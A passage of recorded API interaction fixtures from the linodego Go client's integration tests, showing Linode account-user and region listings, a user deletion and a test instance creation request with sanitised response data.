null, "last_login": null, "user_type": "default"}, {"username": "tf-test-4125167084682567855", "email": "tf-test-4125167084682567855@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-8814960275226187779", "email": "tf-test-8814960275226187779@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-2481363777634915585", "email": "tf-test-2481363777634915585@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-8271719396887279775", "email": "tf-test-8271719396887279775@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-7182869575920600289", "email": "tf-test-7182869575920600289@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-2377037076663955215", "email": "tf-test-2377037076663955215@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-4723681129312005021", "email": "tf-test-4723681129312005021@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-4502584305220713881", "email": "tf-test-4502584305220713881@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-6840263186492004427", "email": "tf-test-6840263186492004427@example.com", "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-4734570691858190370", "email": "tf-test-4734570691858190370@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "tf-test-1973126705199777758", "email": "tf-test-1973126705199777758@example.com", "restricted": true, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}, {"username": "linodegotest-listuser", "email": "linodegotest-listuser@example.com", "restricted": false, "ssh_keys": [], "tfa_enabled": false, "verified_phone_number": null, "password_created": null, "last_login": null, "user_type": "default"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/users/linodegotest-listuser method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVLANs_GetIPAMAddress.yaml000066400000000000000000001163631474652371000320210ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:50:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-ipam","root_pass":"@6Pm0e1k8X`;8n$-2''lh}uSj.31{F1/Es9yzv]:5''SV.VVz82k8OG+I]87ePHCQj","image":"linode/debian9","interfaces":[{"ipam_address":"10.0.0.1/24","label":"go-vlan-test-ipam","purpose":"vlan"}],"firewall_id":693131,"booted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61876248, "label": "go-ins-test-ipam", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.210.43"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0e0c1ef96c34828ce8b53e9e04870191260828c7", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' 